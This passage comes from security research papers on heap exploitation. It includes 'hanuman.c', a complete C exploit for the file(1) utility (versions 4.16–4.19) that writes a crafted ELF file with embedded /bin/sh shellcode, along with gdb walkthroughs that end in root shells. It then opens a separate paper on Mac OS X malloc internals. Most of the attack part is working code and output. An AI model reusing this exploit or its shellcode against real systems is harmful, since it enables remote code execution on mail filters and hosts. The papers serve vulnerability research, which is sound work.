Reading symbols from /lib/ld-linux.so.2...done. 

Loaded symbols for /lib/ld-linux.so.2 

#0  _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082 

 

4082          set_head(remainder, remainder_size | PREV_INUSE); 
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(gdb) 

 

 

3- The ESI register contains the address of the top chunk.  It might be 

another register for you. 

 

(gdb) info reg esi 

esi            0x804a6a8        134522536 

(gdb) 

 

 

4- For the return address, get a memory address at the beginning of the NOP 

cushion: 

 

0x8049654:      0x00000000      0x00000000      0x00000019      0x4013e698 

0x8049664:      0x4013e698      0x400898a0      0x4013d720      0x00000000 

0x8049674:      0x00000019      0x4013e6a0      0x4013e6a0      0x400899b0 

0x8049684:      0x4013d720      0x00000000      0x00000019      0x4013e6a8 

0x8049694:      0x4013e6a8      0x40089a80      0x4013d720      0x00000000 

0x80496a4:      0x00001009      0x90909090      0x90909090      0x90909090 

0x80496b4:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80496c4:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80496d4:      0x90909090      0x90909090      0x90909090      0x90909090 

 

 

0x80496b4 is a valid address. 

 

 

5- You can now call the exploit with the values that you have found.  The 

return location will be 0xbffffffc, and it will decrement with each write. 

The shellcode in exp2.c executes /bin/id. 

 

bash$ ./exp2 0xbffffffc 0x80496b4 0x804a6a8 | ./scenario2 

--[ Using 0x804a6a8 as the top chunk location. 

--[ Using 0xbffffffc as the return location. 

--[ Impossible to use 0x80496b4 as the return address. Using 0x80496b9 

instead 

[...] 

--[ Using 0xbffff6a4 as the return location. 

--[ Impossible to use 0x804a00c as the return address. Using 0x804a011 

instead 

uid=0(root) gid=0(root) groups=0(root) 

bash$ 

 

 

----[ 6.2 - A real case scenario: file(1) utility 

 

The set_head technique was developed during the research of a security hole 

in the UNIX file(1) utility.  This utility is an automatic file content 

type recognition tool found on many UNIX systems.  The versions affected 

are Ian Darwin's version 4.00 to 4.19, maintained by Christos Zoulas.  This 

version is the standard version of file(1) for Linux, *BSD, and other 

systems, maintained by Christos Zoulas. 

 

The main reason why so much energy was put in the development of this 

exploit is mainly because the presence of a vulnerability in this utility 

represents a high security risk for an SMTP content filter. 

 

An SMTP content filter is a system that acts after the SMTP server receives 

email and applies various filtering policies defined by a network 

administrator.  Once the scanning process is finished, the filter decides 
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whether the message will be relayed or not. 

 

An SMTP content filter needs to be able to call different kind of programs 

on an incoming email: 

 

        - Dearchivers; 

        - Decoders; 

        - Classifiers; 

        - Antivirus; 

        - and many more ... 

 

The file(1) utility falls under the "classifiers" category. 

 

This attack vector gives a complete new meaning to vulnerabilities that 

were classified as low risk. 

 

The author of this paper is also the maintainer of PIRANA [7], an 

exploitation framework that tests the security of an email content filter. 

By means of a vulnerability database, the content filter to be tested will 

be bombarded by various emails containing a malicious payload intended to 

compromise the computing platform.  PIRANA's goal is to test whether or not 

any vulnerability exists on the content filtering platform. 

 

 

------[ 6.2.1 - The hole 

 

The security vulnerability is in the file_printf() function.  This function 

fills the content of the 'ms->o.buf' buffer with the characteristics of the 

inspected file.  Once this is done, the buffer is printed on the screen, 

showing what type of file was detected.  Here is the vulnerable function: 

 

--[ From file-4.19/src/funcs.c 

 

01 protected int 

02 file_printf(struct magic_set *ms, const char *fmt, ...) 

03 { 

04         va_list ap; 

05         size_t len; 

06         char *buf; 

07 

08         va_start(ap, fmt); 

09         if ((len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap)) >= ms-> 

o.len) { 

10                 va_end(ap); 

11                 if ((buf = realloc(ms->o.buf, len + 1024)) == NULL) { 

12                         file_oomem(ms, len + 1024); 

13                         return -1; 

14                 } 

15                 ms->o.ptr = buf + (ms->o.ptr - ms->o.buf); 

16                 ms->o.buf = buf; 

17                 ms->o.len = ms->o.size - (ms->o.ptr - ms->o.buf); 

18                 ms->o.size = len + 1024; 

19 

20                 va_start(ap, fmt); 

21                 len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap); 

22         } 

23         ms->o.ptr += len; 

24         ms->o.len -= len; 

25         va_end(ap); 

26         return 0; 

27 } 
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At first sight, this function seems to take good care of not overflowing 

the 'ms->o.ptr' buffer.  A first copy is done at line 09.  If the 

destination buffer, 'ms->o.buf', is not big enough to receive the character 

string, the memory region is reallocated. 

 

The reallocation is done at line 11, but the new size is not computed 

properly.  Indeed, the function assumes that the buffer should never be 

bigger than 1024 added to the current length of the processed string. 

 

The real problem is at line 21.  The variable 'ms->o.len' represents the 

number of bytes left in 'ms->o.buf'.  The variable 'len', on the other 

hand, represents the  number  of  characters (not  including the trailing 

'\0') which would have been written to the final string if enough space had 

been available.  In the event that the buffer to be printed would be larger 

than 'ms->o.len', 'len' would contain a value greater than 'ms->o.len'. 

Then, at line 24, 'len' would get subtracted from 'ms->o.len'.  'ms->o.len' 

could underflow below 0, and it would become a very big positive integer 

because 'ms->o.len' is of type 'size_t'.  Subsequent vsnprintf() calls 

would then receive a very big length parameter thus rendering any bound 

checking capabilities useless. 

 

 

------[ 6.2.2 - All the pieces fall into place 

 

There is an interesting portion of code in the function donote()/readelf.c. 

There is a call to the vulnerable function, file_printf(), with a 

user-supplied buffer.  By taking advantage of this code, it will be a lot 

simpler to write a successful exploit.  Indeed, it will be possible to 

overwrite the chunk information with arbitrary values. 

 

        --[ From file-4.19/src/readelf.c 

 

          /* 

           * Extract the program name.  It is at 

           * offset 0x7c, and is up to 32-bytes, 

           * including the terminating NUL. 

           */ 

          if (file_printf(ms, ", from '%.31s'", 

              &nbuf[doff + 0x7c]) == -1) 

                  return size; 

 

 

After a couple of tries overflowing the header of the next chunk, it was 

clear that the only thing that was overflowable was the wilderness chunk. 

It was not possible to provoke a situation where a chunk that was not 

adjacent to the top chunk could be overflowable with user controllable 

data. 

 

The file utility suffers from this buffer overflow since the 4.00 release 

when the first version of file_printf() was introduced.  A successful 

exploitation was only possible starting from version 4.16.  Indeed, this 

version included a call to malloc with a user controllable variable.  From 

readelf.c: 

 

        --[ From file-4.19/src/readelf.c 

 

          if ((nbuf = malloc((size_t)xsh_size)) == NULL) { 

           file_error(ms, errno, "Cannot allocate memory" 

               " for note"); 

           return -1; 
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This was the missing piece of the puzzle.  Now, every condition is met to 

use the set_head() technique. 

 

 

------[ 6.2.3 - hanuman.c 

 

/* 

 * hanuman.c 

 * 

 * file(1) exploit for version 4.16 to 4.19. 

 * Coded by Jean-Sebastien Guay-Leroux 

 * http://www.guay-leroux.com 

 * 

 */ 

 

 

/* 

 

Here are the steps to find the 3 memory values to use for the file(1) 

exploit. 

 

 

1- The first step is to generate a core dump file from file(1).  You will 

then have to analyze this core dump to find the proper values for your 

exploit. 

 

To generate the core file, get an approximation of the top chunk location 

by getting the base address of the BSS section: 

 

bash# readelf -S /usr/bin/file 

 

Section Headers: 

  [Nr] Name              Type            Addr 

  [ 0]                   NULL            00000000 

  [ 1] .interp           PROGBITS        080480f4 

  [...] 

  [22] .bss              NOBITS          0804b1e0 

 

The BSS section starts at 0x0804b1e0.  Let's call the exploit the following 

way, and remember to replace 0x0804b1e0 for the BSS value you have found: 

 

bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal 

--[ Using 0x804b1e0 as the top chunk location. 

--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 

instead 

--[ Impossible to use 0x804b1e0 as the return address. Using 0x804b1e1 

instead 

--[ The file has been written 

bash# file mal 

Segmentation fault (core dumped) 

bash# 

 

 

2- Call gdb on that core dump file. 

 

bash# gdb -q file core.14854 

Core was generated by `file mal'. 

Program terminated with signal 11, Segmentation fault. 

Reading symbols from /usr/local/lib/libmagic.so.1...done. 

Loaded symbols for /usr/local/lib/libmagic.so.1 
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Reading symbols from /lib/i686/libc.so.6...done. 

Loaded symbols for /lib/i686/libc.so.6 

Reading symbols from /lib/ld-linux.so.2...done. 

Loaded symbols for /lib/ld-linux.so.2 

Reading symbols from /usr/lib/gconv/ISO8859-1.so...done. 

Loaded symbols for /usr/lib/gconv/ISO8859-1.so 

#0  0x400a3d15 in mallopt () from /lib/i686/libc.so.6 

(gdb) 

 

 

3- The EAX register contains the address of the top chunk.  It might be 

another register for you. 

 

(gdb) info reg eax 

eax            0x80614f8        134616312 

(gdb) 

 

 

4- Start searching from the location of the top chunk to find the NOP 

cushion.  This will be the return address. 

 

0x80614f8:      0xc0c0c0c1      0xb8bc0ee1      0xc0c0c0c1      0xc0c0c0c1 

0x8061508:      0xc0c0c0c1      0xc0c0c0c1      0x73282027      0x616e6769 

0x8061518:      0x2930206c      0x90909000      0x90909090      0x90909090 

0x8061528:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061538:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061548:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061558:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061568:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061578:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061588:      0x90909090      0x90909090      0x90909090      0x90909090 

0x8061598:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80615a8:      0x90909090      0x90909090      0x90909090      0x90909090 

0x80615b8:      0x90909090      0x90909090 

(gdb) 

 

0x8061558 is a valid address. 

 

 

5- To get the return location for your exploit, get a saved EIP from a 

stack frame. 

 

(gdb) frame 3 

#3  0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0, nbytes=8192) at 

readelf.c:1007 

1007                            if (doshn(ms, class, swap, fd, 

(gdb) x $ebp+4 

0xbffff7fc:     0x400172b3 

(gdb) 

 

0xbffff7fc is the return location. 

 

 

6- You can now call the exploit with the values that you have found. 

 

bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal 

--[ Using 0x80614f8 as the top chunk location. 

--[ Using 0xbffff7fc as the return location. 

--[ Impossible to use 0x8061558 as the return address. Using 0x8061559 

instead 

--[ The file has been written 
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bash# file mal 

sh-2.05b# 

 

*/ 

 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <unistd.h> 

#include <stdint.h> 

 

 

#define DEBUG                           0 

 

 

#define initial_ELF_garbage             75 

//ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically 

// linked 

 

#define initial_netbsd_garbage          22 

//, NetBSD-style, from ' 

 

#define post_netbsd_garbage             12 

//' (signal 0) 

 

 

// The following #define are from malloc.c and are used 

// to compute the values for the malloc size and the top chunk size. 

#define PREV_INUSE 0x1 

#define SIZE_BITS  0x7       // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA 

#define SIZE_SZ (sizeof(size_t)) 

#define MALLOC_ALIGNMENT (2 * SIZE_SZ) 

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) 

#define MIN_CHUNK_SIZE 16 

#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ 

    & ~MALLOC_ALIGN_MASK)) 

#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ 

    < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ 

    & ~MALLOC_ALIGN_MASK) 

 

 

// Offsets of the note entries in the file 

#define OFFSET_31_BYTES  2048 

#define OFFSET_N_BYTES   2304 

#define OFFSET_0_BYTES   2560 

#define OFFSET_OVERWRITE 2816 

#define OFFSET_SHELLCODE 4096 

 

 

/* linux_ia32_exec -  CMD=/bin/sh Size=68 Encoder=PexFnstenvSub 

   http://metasploit.com */ 

unsigned char scode[] = 

"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" 

"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" 

"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" 

"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" 

"\xc6\x2f\x40\xb3"; 

 

 

struct math { 
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    int nnetbsd; 

    int nname; 

}; 

 

struct sethead { 

    unsigned long topchunk_size; 

    unsigned long malloc_size; 

}; 

 

 

// To be a little more independent, we ripped 

// the following ELF structures from elf.h 

typedef struct 

{ 

    unsigned char e_ident[16]; 

    uint16_t e_type; 

    uint16_t e_machine; 

    uint32_t e_version; 

    uint32_t e_entry; 

    uint32_t e_phoff; 

    uint32_t e_shoff; 

    uint32_t e_flags; 

    uint16_t e_ehsize; 

    uint16_t e_phentsize; 

    uint16_t e_phnum; 

    uint16_t e_shentsize; 

    uint16_t e_shnum; 

    uint16_t e_shstrndx; 

} Elf32_Ehdr; 

 

typedef struct 

{ 

    uint32_t sh_name; 

    uint32_t sh_type; 

    uint32_t sh_flags; 

    uint32_t sh_addr; 

    uint32_t sh_offset; 

    uint32_t sh_size; 

    uint32_t sh_link; 

    uint32_t sh_info; 

    uint32_t sh_addralign; 

    uint32_t sh_entsize; 

} Elf32_Shdr; 

 

typedef struct 

{ 

    uint32_t n_namesz; 

    uint32_t n_descsz; 

    uint32_t n_type; 

} Elf32_Nhdr; 

 

 

struct sethead * set_head_compute 

    (unsigned long retloc, unsigned long retadr, unsigned long toploc) { 

 

    unsigned long check_retloc, check_retadr; 

    struct sethead *shead; 

 

    shead = (struct sethead *) malloc (8); 

    if (shead == NULL) { 

        fprintf (stderr, 
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            "--[ Could not allocate memory for sethead structure\n"); 

        exit (1); 

    } 

 

    if ( (toploc % 8) != 0 ) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the top chunk location.", 

            toploc); 

 

        toploc = toploc - (toploc % 8); 

        fprintf (stderr, "  Using 0x%x instead\n", toploc); 

    } else 

        fprintf (stderr, 

            "--[ Using 0x%x as the top chunk location.\n", toploc); 

 

    // The minus 8 is to take care of the normalization 

    // of the malloc parameter 

    shead->malloc_size = (retloc - toploc - 8); 

 

    // By adding the 8, we are able to sometimes perfectly hit 

    // the return address.  To hit it perfectly, retadr must be a multiple 

    // of 8 + 1 (for the PREV_INUSE flag). 

    shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; 

 

    if (shead->topchunk_size < shead->malloc_size) { 

        fprintf (stderr, 

            "--[ ERROR: topchunk size is less than malloc size.\n"); 

        fprintf (stderr, "--[ Topchunk code will not be triggered\n"); 

        exit (1); 

    } 

 

    check_retloc = (toploc + request2size (shead->malloc_size) + 4); 

    if (check_retloc != retloc) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the return location. ", retloc); 

        fprintf (stderr, "Using 0x%x instead\n", check_retloc); 

    } else 

        fprintf (stderr, "--[ Using 0x%x as the return location.\n", 

            retloc); 

 

    check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) 

        - request2size (shead->malloc_size)) | PREV_INUSE; 

    if (check_retadr != retadr) { 

        fprintf (stderr, 

            "--[ Impossible to use 0x%x as the return address.", retadr); 

        fprintf (stderr, " Using 0x%x instead\n", check_retadr); 

    } else 

        fprintf (stderr, "--[ Using 0x%x as the return address.\n", 

            retadr); 

 

    return shead; 

} 

 

 

/* 

Not CPU friendly :) 

*/ 

struct math * 

compute (int offset) { 

 

    int accumulator = 0; 
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    int i, j; 

    struct math *math; 

 

    math = (struct math *) malloc (8); 

 

    if (math == NULL) { 

        printf ("--[ Could not allocate memory for math structure\n"); 

        exit (1); 

    } 

 

    for (i = 1; i < 100;i++) { 

 

        for (j = 0; j < (i * 31); j++) { 

 

            accumulator = 0; 

            accumulator += initial_ELF_garbage; 

            accumulator += (i * (initial_netbsd_garbage + 

                post_netbsd_garbage)); 

            accumulator += initial_netbsd_garbage; 

 

            accumulator += j; 

 

            if (accumulator == offset) { 

                math->nnetbsd = i; 

                math->nname = j; 

 

                return math; 

            } 

        } 

    } 

 

    // Failed to find a value 

    return 0; 

} 

 

 

void 

put_byte (char *ptr, unsigned char data) { 

    *ptr = data; 

} 

 

 

void 

put_longword (char *ptr, unsigned long data) { 

    put_byte (ptr, data); 

    put_byte (ptr + 1, data >> 8); 

    put_byte (ptr + 2, data >> 16); 

    put_byte (ptr + 3, data >> 24); 

} 

 

 

FILE * 

open_file (char *filename) { 

 

    FILE *fp; 

 

    fp = fopen ( filename , "w" ); 

 

    if (!fp) { 

        perror ("Cant open file"); 

        exit (1); 
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    } 

 

    return fp; 

} 

 

void 

usage (char *progname) { 

 

    printf ("\nTo use:\n"); 

    printf ("%s <return location> <return address> ", progname); 

    printf ("<topchunk location> <output filename>\n\n"); 

 

    exit (1); 

} 

 

 

int 

main (int argc, char *argv[]) { 

 

    FILE *fp; 

    Elf32_Ehdr *elfhdr; 

    Elf32_Shdr *elfshdr; 

    Elf32_Nhdr *elfnhdr; 

    char *filename; 

    char *buffer, *ptr; 

    int i; 

    struct math *math; 

    struct sethead *shead; 

    int left_bytes; 

    unsigned long retloc, retadr, toploc; 

    unsigned long topchunk_size, malloc_size; 

 

    if ( argc != 5) { 

        usage ( argv[0] ); 

    } 

 

    sscanf (argv[1], "0x%x", &retloc); 

    sscanf (argv[2], "0x%x", &retadr); 

    sscanf (argv[3], "0x%x", &toploc); 

 

    filename = (char *) malloc (256); 

    if (filename == NULL) { 

        printf ("--[ Cannot allocate memory for filename...\n"); 

        exit (1); 

    } 

    strncpy (filename, argv[4], 255); 

 

    buffer = (char *) malloc (8192); 

    if (buffer == NULL) { 

        printf ("--[ Cannot allocate memory for file buffer\n"); 

        exit (1); 

    } 

    memset (buffer, 0, 8192); 

 

    math = compute (1036); 

    if (!math) { 

        printf ("--[ Unable to compute a value\n"); 

        exit (1); 

    } 

 

    shead = set_head_compute (retloc, retadr, toploc); 
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    topchunk_size = shead->topchunk_size; 

    malloc_size = shead->malloc_size; 

 

 

    ptr = buffer; 

    elfhdr = (Elf32_Ehdr *) ptr; 

 

    // Fill our ELF header 

    sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01"); 

    elfhdr->e_type =            2;       // ET_EXEC 

    elfhdr->e_machine =         3;       // EM_386 

    elfhdr->e_version =         1;       // EV_CURRENT 

    elfhdr->e_entry =           0; 

    elfhdr->e_phoff =           0; 

    elfhdr->e_shoff =           52; 

    elfhdr->e_flags =           0; 

    elfhdr->e_ehsize =          52; 

    elfhdr->e_phentsize =       32; 

    elfhdr->e_phnum =           0; 

    elfhdr->e_shentsize =       40; 

    elfhdr->e_shnum =           math->nnetbsd + 2; 

    elfhdr->e_shstrndx =        0; 

 

 

    ptr += elfhdr->e_ehsize; 

    elfshdr = (Elf32_Shdr *) ptr; 

 

    // This loop lets us eat an arbitrary number of bytes in ms->o.buf 

    left_bytes = math->nname; 

    for (i = 0; i < math->nnetbsd; i++) { 

        elfshdr->sh_name        = 0; 

        elfshdr->sh_type        = 7;   // SHT_NOTE 

        elfshdr->sh_flags       = 0; 

        elfshdr->sh_addr        = 0; 

        elfshdr->sh_size        = 256; 

        elfshdr->sh_link        = 0; 

        elfshdr->sh_info        = 0; 

        elfshdr->sh_addralign   = 0; 

        elfshdr->sh_entsize     = 0; 

 

        if (left_bytes > 31) { 

            // filename == 31 

            elfshdr->sh_offset = OFFSET_31_BYTES; 

            left_bytes -= 31; 

        } else if (left_bytes != 0) { 

            // filename < 31 && != 0 

            elfshdr->sh_offset = OFFSET_N_BYTES; 

            left_bytes = 0; 

        } else { 

            // filename == 0 

            elfshdr->sh_offset = OFFSET_0_BYTES; 

        } 

 

        // The first section header will also let us load 

        // the shellcode in memory :) 

        // Indeed, by requesting a large memory block, 

        // the topchunk will be splitted, and this memory region 

        // will be left untouched until we need it. 

        // We assume its name is 31 bytes long. 

        if (i == 0) { 

            elfshdr->sh_size = 4096; 
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            elfshdr->sh_offset = OFFSET_SHELLCODE; 

        } 

 

        elfshdr++; 

    } 

 

 

    // This section header entry is for the data that will 

    // overwrite the topchunk size pointer 

    elfshdr->sh_name        = 0; 

    elfshdr->sh_type        = 7;      // SHT_NOTE 

    elfshdr->sh_flags       = 0; 

    elfshdr->sh_addr        = 0; 

    elfshdr->sh_offset      = OFFSET_OVERWRITE; 

    elfshdr->sh_size        = 256; 

    elfshdr->sh_link        = 0; 

    elfshdr->sh_info        = 0; 

    elfshdr->sh_addralign   = 0; 

    elfshdr->sh_entsize     = 0; 

    elfshdr++; 

 

 

    // This section header entry triggers the call to malloc 

    // with a user supplied length. 

    // It is a requirement for the set_head technique to work 

    elfshdr->sh_name        = 0; 

    elfshdr->sh_type        = 7;     // SHT_NOTE 

    elfshdr->sh_flags       = 0; 

    elfshdr->sh_addr        = 0; 

    elfshdr->sh_offset      = OFFSET_N_BYTES; 

    elfshdr->sh_size        = malloc_size; 

    elfshdr->sh_link        = 0; 

    elfshdr->sh_info        = 0; 

    elfshdr->sh_addralign   = 0; 

    elfshdr->sh_entsize     = 0; 

    elfshdr++; 

 

 

    // This note entry lets us eat 31 bytes + overhead 

    elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES); 

    elfnhdr->n_namesz       = 12; 

    elfnhdr->n_descsz       = 12; 

    elfnhdr->n_type         = 1; 

    ptr = buffer + OFFSET_31_BYTES + 12; 

    sprintf (ptr, "NetBSD-CORE"); 

    sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c, 

        "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); 

 

 

    // This note entry lets us eat an arbitrary number of bytes + overhead 

    elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES); 

    elfnhdr->n_namesz       = 12; 

    elfnhdr->n_descsz       = 12; 

    elfnhdr->n_type         = 1; 

    ptr = buffer + OFFSET_N_BYTES + 12; 

    sprintf (ptr, "NetBSD-CORE"); 

    for (i = 0; i < (math->nname % 31); i++) 

        buffer[OFFSET_N_BYTES+24+0x7c+i]='B'; 

 

 

    // This note entry lets us eat 0 bytes + overhead 
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    elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES); 

    elfnhdr->n_namesz       = 12; 

    elfnhdr->n_descsz       = 12; 

    elfnhdr->n_type         = 1; 

    ptr = buffer + OFFSET_0_BYTES + 12; 

    sprintf (ptr, "NetBSD-CORE"); 

    buffer[OFFSET_0_BYTES+24+0x7c]=0; 

 

 

    // This note entry lets us specify the value that will 

    // overwrite the topchunk size 

    elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE); 

    elfnhdr->n_namesz       = 12; 

    elfnhdr->n_descsz       = 12; 

    elfnhdr->n_type         = 1; 

    ptr = buffer + OFFSET_OVERWRITE + 12; 

    sprintf (ptr, "NetBSD-CORE"); 

    // Put the new topchunk size 7 times in memory 

    // The note entry program name is at a specific, odd offset (24+0x7c)? 

    for (i = 0; i < 7; i++) 

        put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i * 4), 

            topchunk_size); 

 

 

    // This note entry lets us eat 31 bytes + overhead, but 

    // its real purpose is to load the shellcode in memory. 

    // We assume that its name is 31 bytes long. 

    elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE); 

    elfnhdr->n_namesz       = 12; 

    elfnhdr->n_descsz       = 12; 

    elfnhdr->n_type         = 1; 

    ptr = buffer + OFFSET_SHELLCODE + 12; 

    sprintf (ptr, "NetBSD-CORE"); 

    sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c, 

         "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); 

 

 

    // Fill this memory region with our shellcode. 

    // Remember to leave the note entry untouched ... 

    memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256); 

    sprintf (buffer + 8191 - strlen (scode), scode); 

 

 

    fp = open_file (filename); 

    if (fwrite (buffer, 8192, 1, fp) != 0 ) { 

        printf ("--[ The file has been written\n"); 

    } else { 

        printf ("--[ Can not write to the file\n"); 

        exit (1); 

    } 

    fclose (fp); 

 

 

    free (shead); 

    free (math); 

    free (buffer); 

    free (filename); 

 

 

    return 0; 

} 
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--[ 7 - Final words 

 

That's all for the details of this technique; a lot has already been said 

through this paper.  By looking at the complexity of the malloc code, there 

are probably many other ways to take control of a process by corrupting the 

malloc chunks. 

 

Of course, this paper explains the technical details of set_head, but 

personally, I think that all the exploitation techniques are ephemeral. 

This is more true, especially recently, with all the low level security 

controls that were added to the modern operating systems.  Beside having 

great technical skills, I personally think it's important to develop your 

mental skills and your creativity.  Try to improve your attitude when 

solving a difficult problem.  Develop your perseverance and determination, 

even though you may have failed at the same thing 20, 50 or 100 times in a 

row. 

 

I would like to greet the following individuals: bond, dp, jinx, 

Michael and nitr0gen.  There is more people that I forget. Thanks for the 

help and the great conversations we had over the last few years. 
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--[ 1 - Introduction. 

 

This article comes as a result of my experiences exploiting a heap  

overflow in the default web browser (Safari) on Mac OS X. It assumes a  

small amount of knowledge of PPC assembly. A reference for this has 

been provided in the references section below. (4). Also, knowledge of  

other memory allocators will come in useful, however it's not necessarily 

needed. All code in this paper was compiled and tested on Mac OS X -  

Tiger (10.4) running on PPC32 (power pc) architecture. 

 

--[ 2 - Overview of the Apple OS X userland heap implementation. 

 

The malloc() implementation found in Apple's Libc-391 and earlier (at the 

time of writing this) is written by Bertrand Serlet. It is a relatively  

complex memory allocator made up of memory "zones", which are variable  

size portions of virtual memory, and "blocks", which are allocated from  

within these zones. It is possible to have multiple zones, however most  

applications tend to stick to just using the default zone.  

 

So far this memory allocator is used in all releases of OS X so far. It  

is also used by the Open Darwin project [8] on x86 architecture, however  

this isn't covered in the paper.  

 

The source for the implementation of the Apple malloc() is available from 

[6]. (The current version of the source at the time of writing this is  

10.4.1). 

 

To access it you need to be a member of the ADC, which is free to sign up. 

(or if you can't be bothered signing up use the login/password from  

Bug Me Not [7]  ;) 

 

----[ 2.1 - Environment Variables. 
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A series of environment variables can be set, to modify the behavior of 

the memory allocation functions. These can be seen by setting the  

"MallocHelp" variable, and then calling the malloc() function. They are  

also shown in the malloc() manpage.  

 

We will now look at the variables which are of the most use to us when  

exploiting an overflow. 

 

[ MallocStackLogging ] -:-  When this variable is set a record is kept of 

all the malloc operations that occur. With this variable set the "leaks"  

tool can be used to search a processes memory for malloc()'ed buffers  

which are unreferenced. 

 

[ MallocStackLoggingNoCompact ] -:- When this variable is set, the record 

of malloc operation is kept in a manner in which the "malloc_history"  

tool is able to parse. The malloc_history tool is used to list the  

allocations and deallocations which have been performed by the process. 

 

[ MallocPreScribble ] -:- This environment variable, can be used to fill  

memory which has been allocated with 0xaa. This can be useful to easily  

see where buffers are located in memory. It can also be useful when  

scripting gdb to investigate the heap. 

 

[ MallocScribble ] -:-  This variable is used to fill de-allocated  

memory with 0x55. This, like MallocPreScribble is useful for  

making it easier to inspect the memory layout. Also this will make  

a program more likely to crash when it's accessing data it's not supposed 

to. 

 

[ MallocBadFreeAbort ] -:- This variable causes a SIGABRT to be sent to  

the program when a pointer is passed to free() which is not listed as  

allocated. This can be useful to halt execution at the exact point an  

error occurred in order to assess what has happened. 

 

NOTE: The "heap" tool can be used to inspect the current heap of a  

process the Zones are displayed as well as any objects which are  

currently allocated. This tool can be used without setting an  

environment variable. 

 

----[ 2.2 - Zones. 

 

A single zone can be thought of a single heap. When the zone is destroyed 

all the blocks allocated within it are free()'ed. Zones allow blocks with  

similar attributes to be placed together. The zone itself is described by 

a malloc_zone_t struct (defined in /usr/include/malloc.h) which is shown  

below: 

 

 [malloc_zone_t struct] 

 

typedef struct _malloc_zone_t { 

 

    /* Only zone implementors should depend on the layout of this  

    structure; Regular callers should use the access functions below */ 

    void        *reserved1;     /* RESERVED FOR CFAllocator DO NOT USE */ 

    void        *reserved2;     /* RESERVED FOR CFAllocator DO NOT USE */ 

    size_t      (*size)(struct _malloc_zone_t *zone, const void *ptr);  

    void        *(*malloc)(struct _malloc_zone_t *zone, size_t size); 

    void        *(*calloc)(struct _malloc_zone_t *zone, size_t num_items,  

             size_t size);  

    void        *(*valloc)(struct _malloc_zone_t *zone, size_t size);  

    void        (*free)(struct _malloc_zone_t *zone, void *ptr); 



[6. OS X heap exploitation techniques - nemo] 

 

  Page 
211 

 
  

    void        *(*realloc)(struct _malloc_zone_t *zone, void *ptr,  

       size_t size); 

    void        (*destroy)(struct _malloc_zone_t *zone);  

    const char  *zone_name; 

 

    /* Optional batch callbacks; these may be NULL */ 

    unsigned    (*batch_malloc)(struct _malloc_zone_t *zone, size_t size,  

    void **results, unsigned num_requested);  

    void        (*batch_free)(struct _malloc_zone_t *zone,  

   void **to_be_freed, unsigned num_to_be_freed);  

    struct malloc_introspection_t       *introspect; 

    unsigned    version; 

} malloc_zone_t; 

 

(Well, technically zones are scalable szone_t structs, however the first  

element of a szone_t struct consists of a malloc_zone_t struct. This  

struct is the most important for us to be familiar with to exploit heap  

bugs using the method shown in this paper.) 

 

As you can see, the zone struct contains function pointers for each of the 

memory allocation / deallocation functions. This should give you a  

pretty good idea of how we can control execution after an overflow. 

 

Most of these functions are pretty self explanatory, the malloc,calloc, 

valloc free, and realloc function pointers perform the same  

functionality they do on Linux/BSD.  

 

The size function is used to return the size of the memory allocated. The  

destroy() function is used to destroy the entire zone and free all memory 

allocated in it.  

 

The batch_malloc and batch_free functions to the best of my understanding 

are used to allocate (or deallocate) several blocks of the same size.  

 

NOTE: 

The malloc_good_size() function is used to return the size of the buffer 

after rounding has occurred. An interesting note about this function is  

that it contains the same wrap mentioned in  5.1. 

 

 printf("0x%x\n",malloc_good_size(0xffffffff)); 

 

Will print 0x1000 on Mac OS X 10.4 (Tiger). 

  

----[ 2.3 - Blocks.  

 

Allocation of blocks occurs in different ways depending on the size of the 

memory required. The size of all blocks allocated is always paragraph  

aligned (a multiple of 16). Therefore an allocation of less than 16 will  

always return 16, an allocation of 20 will return 32, etc.  

 

